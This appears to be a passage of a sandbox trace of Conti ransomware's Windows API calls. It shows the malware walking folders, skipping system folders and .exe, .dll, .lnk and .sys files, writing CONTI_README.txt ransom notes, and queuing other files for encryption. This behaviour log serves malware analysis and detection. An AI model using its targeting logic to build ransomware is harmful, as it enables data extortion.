	[0093.910] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="3076", cAlternateFileName="")) returned 1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2=".") returned 1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="..") returned 1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="tmp") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="winnt") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="Application Data") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="AppData") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="temp") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="thumb") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="$Recycle.Bin") returned 1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="$RECYCLE.BIN") returned 1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="System Volume Information") returned -1
	[0093.910] lstrcmpiW (lpString1="3076", lpString2="Program Files") returned -1
	[0093.911] lstrcmpiW (lpString1="3076", lpString2="Program Files (x86)") returned -1
	[0093.911] lstrcmpiW (lpString1="3076", lpString2="Boot") returned -1
	[0093.911] lstrcmpiW (lpString1="3076", lpString2="Windows") returned -1
	[0093.911] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.911] lstrlenW (lpString="3076") returned 4
	[0093.911] GetProcessHeap () returned 0x1720000
	[0093.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e5f0
	[0093.911] lstrcpyW (in: lpString1=0x175e5f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.911] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.911] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="3076" | out: lpString1="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0093.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26
	[0093.911] GetProcessHeap () returned 0x1720000
	[0093.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734990
	[0093.911] lstrcpyW (in: lpString1=0x1734990, lpString2="C:\\588bce7c90097ed212\\3076" | out: lpString1="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0093.911] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\3076\\*") returned="C:\\588bce7c90097ed212\\3076\\*"
	[0093.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26
	[0093.911] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.911] GetProcessHeap () returned 0x1720000
	[0093.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.911] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\3076" | out: lpString1="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0093.911] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0093.911] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\3076\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\3076\\CONTI_README.txt"
	[0093.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.920] GetProcessHeap () returned 0x1720000
	[0093.920] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.920] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.921] CloseHandle (hObject=0x324) returned 1
	[0093.922] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd1f80d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e4f0
	[0093.922] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.922] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd1f80d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.922] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.922] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.922] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bd1f80d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bd1f80d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bd1f80d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.922] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.922] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.922] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.922] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.922] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.922] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.922] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.922] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.922] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.922] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.923] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.923] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.923] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.923] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.923] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26
	[0093.923] lstrlenW (lpString="eula.rtf") returned 8
	[0093.923] GetProcessHeap () returned 0x1720000
	[0093.923] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d6e8
	[0093.923] lstrcpyW (in: lpString1=0x173d6e8, lpString2="C:\\588bce7c90097ed212\\3076" | out: lpString1="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0093.923] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0093.923] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf"
	[0093.923] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3d40) returned 1
	[0093.923] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.923] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.923] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26
	[0093.923] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.923] GetProcessHeap () returned 0x1720000
	[0093.923] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0920
	[0093.923] lstrcpyW (in: lpString1=0x17c0920, lpString2="C:\\588bce7c90097ed212\\3076" | out: lpString1="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0093.923] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0093.923] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml"
	[0093.923] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2670) returned 1
	[0093.924] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.924] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.924] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.924] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.924] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.924] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.924] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.924] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.924] GetProcessHeap () returned 0x1720000
	[0093.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734990 | out: hHeap=0x1720000) returned 1
	[0093.924] FindClose (in: hFindFile=0x175e4f0 | out: hFindFile=0x175e4f0) returned 1
	[0093.924] GetProcessHeap () returned 0x1720000
	[0093.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e5f0 | out: hHeap=0x1720000) returned 1
	[0093.924] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="3082", cAlternateFileName="")) returned 1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2=".") returned 1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="..") returned 1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="tmp") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="winnt") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="Application Data") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="AppData") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="thumb") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="$Recycle.Bin") returned 1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="$RECYCLE.BIN") returned 1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="System Volume Information") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="Program Files") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="Program Files (x86)") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="Boot") returned -1
	[0093.924] lstrcmpiW (lpString1="3082", lpString2="Windows") returned -1
	[0093.924] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.924] lstrlenW (lpString="3082") returned 4
	[0093.924] GetProcessHeap () returned 0x1720000
	[0093.924] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4f0
	[0093.925] lstrcpyW (in: lpString1=0x175e4f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.925] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.925] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="3082" | out: lpString1="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0093.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26
	[0093.925] GetProcessHeap () returned 0x1720000
	[0093.925] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734900
	[0093.925] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\588bce7c90097ed212\\3082" | out: lpString1="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0093.925] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\3082\\*") returned="C:\\588bce7c90097ed212\\3082\\*"
	[0093.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26
	[0093.925] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.925] GetProcessHeap () returned 0x1720000
	[0093.925] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.925] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\3082" | out: lpString1="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0093.925] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0093.925] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\3082\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\3082\\CONTI_README.txt"
	[0093.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.946] GetProcessHeap () returned 0x1720000
	[0093.946] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.946] WriteFile (in: hFile=0x34c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.947] CloseHandle (hObject=0x34c) returned 1
	[0093.947] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd6bb87, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e570
	[0093.947] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.947] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd6bb87, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.947] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.947] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.947] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bd4593c, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bd4593c, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bd6bb87, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.947] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.947] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.947] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.947] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.947] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.947] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.947] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.947] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.947] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.947] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.948] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.948] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.948] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.948] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.948] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26
	[0093.948] lstrlenW (lpString="eula.rtf") returned 8
	[0093.948] GetProcessHeap () returned 0x1720000
	[0093.948] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d008
	[0093.948] lstrcpyW (in: lpString1=0x173d008, lpString2="C:\\588bce7c90097ed212\\3082" | out: lpString1="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0093.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0093.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf"
	[0093.948] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5410) returned 1
	[0093.948] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.948] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.948] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.948] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26
	[0093.948] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.948] GetProcessHeap () returned 0x1720000
	[0093.948] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0cc8
	[0093.948] lstrcpyW (in: lpString1=0x17c0cc8, lpString2="C:\\588bce7c90097ed212\\3082" | out: lpString1="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0093.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0093.948] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml"
	[0093.949] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d51c8) returned 1
	[0093.949] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.949] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.949] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.949] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.949] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.949] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
